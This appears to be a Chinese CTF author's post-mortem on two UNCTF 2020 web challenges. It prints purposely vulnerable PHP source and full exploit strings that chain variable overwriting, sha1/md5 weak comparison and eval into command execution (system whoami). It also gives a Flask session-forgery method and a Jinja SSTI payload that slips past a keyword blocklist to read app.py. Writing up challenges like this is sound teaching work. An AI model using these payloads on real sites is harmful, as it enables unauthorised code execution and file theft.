unctf背锅笔记

unctf2020背锅笔记

前言

本次是作为ctf选手生涯中第一次出题,学到了不少东西,也出了不少差错,这里简单地总结下。

easyphp

这道题是结合我校每日一题和日常透站中碰到的一些东西搞出来的一道奇奇怪怪的题目,考点主要是一些php的trick。

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}

getVars();
if (isset($source)) {
highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

考点:

      1.  变量覆盖
      2.  php弱类型 爆破sha1,md5弱类型。
      3.  php复杂变量getshell

分析

  • 首先来看下这个奇奇怪怪的getVar函数,它本质上就提供了一个全局变量覆盖的功能,可以直接将GET或者POST传入的参数转为同名的变量。例如?source=1,那么就会有个$source的变量,这个变量的值为1。但是呢,这里还加了点东西,就是对输入变量进行了一定过滤。当mysql_real_escape_string方法存在的时候,它会使用fuxkSQL函数进行过滤,这里相当于去除了反斜杠并且将单引号变成两个单引号,而在php7,mysql_real_escape_string函数不存在,只针对单引号和双引号使用反斜杠转义。这里的环境是php7,所以只对单引号和双引号做过滤。
  • 看完这两个奇奇怪怪的函数后,就是正常的操作。首先要过一个md5的判断,再过一个sha1的判断,最后进入一个eval执行代码,但这里我对执行代码的长度做了点不严格地限制(不是特别想做特别严格地限制)。

变量覆盖

1
2
3
4
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
foreach ($_GET as $key => $value) {
global ${$key};
}
  • 这个功能可以覆盖$admin变量。
  • 我们发现了这个adminPassword有很大的问题,这压根就不是md5。(这里实际上是变相给的个hint,然而给诸位师傅造成了困扰,呜呜呜),很明确,随便找个值和它的md5值覆盖了就好。

php弱类型

  • php弱类型比较,考虑一种特殊情况,sha1($a)=0exxx,相当于科学计数法0,那么,爆破找出任意0exxx的变量的sha1还是0exxx。(我给出的脚本是爆破了10分钟,这个是当时强网杯做题时留好的)
1
2
3
4
5
6
7
8
<?php
for ($i5 = 0; $i5 <= 9999999999; $i5++) {
$res = '0e' . $i5;
//0e1290633704
if ($res == hash('sha1', $res)) {
print_r($res);
}
}

php复杂变量

1
2
3
4
5
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
  • 这段是将设置var开头,后面带1到2个数字变量的值,类似于var1=xxx;这样的
  • 由于变量覆盖的环节限制了单双引号的输入,所以这里的解法为利用php复杂变量或者使用反斜杠转义被转义后的双引号(\“=>\")
  • php复杂变量参考这篇文章即可。[php复杂变量][https://xz.aliyun.com/t/4785]

finall payload

1
?adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1={$_POST[1]}&var3=${$var1()}

flag就在环境变量中,所以phpinfo就可以看到了。

执行命令

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a($b)}&a=system&b=whoami
1
password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1={$a($b)}&a=phpinfo&b=-1

能拿到flag最短6位(phpinfo),执行任意函数最少8位。

非预期

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=\";$a();?>&a=phpinfo

easyflask

这题出题人要背大锅,因为采用Gunicorn的方式启动flask,导致main中的初始化函数没被加载,导致没有添加admin账户,所以很多师傅都是直接注册admin来绕过第一个考点的,现在已经修复了。

考点

  1. flask session伪造
  2. flask ssti

flask session伪造

  • 首先题目明确告诉你你需要登录为admin,那么先试试login路由,这个路由很好猜的login

  • 登录失败,让你去register,你就register一个不是admin然后登录。

  • 登录成功在首页的源码里面找到了一些hint,爆破secret key,这里推荐工具,flask-unsign

    登录成功

  • 爆破secret后伪造session 将username改成admin即可

ssti

  • 在secret_route_you_do_not_know路由出发现ssti

    发现ssti

  • fuzz 发现过滤

    1
    '%', '_', 'eval', 'open', 'flag',in, '-', 'class', 'mro', '[', ']', '\"', '\''
  • {{((session|attr(request.headers.x))|attr(request.headers.x1)).get(request.headers.x2).get(request.headers.x3)(request.headers.x4).read()}}
    
    1
    2
      
    具体就是attr和request.header.xn代替黑名单,拿出eval或者open函数执行即可,flag在app.py同目录下。
    x: __init__ x1: __globals__ x2: __builtins__ x3: open x4: app.py

谈谈自己在un中做的题

  1. Lovephp这题,硬做没做出来,最后发现能够include$_GET[1];这样来满足限制,php的language parse总是这么神奇。
  2. ezphp这题虽然比较简单,但是在flag里面搞事情的套路我记住了,下回拿来坑人。

总结

​ 有些时候,总是想着如果当时能如何如何就好了,但是是没有用的。虽然说经过这次出题,的确学习了很多东西,但是尤其是像easyflask这样的错误完全是可以避免的,做事可不能继续马虎了。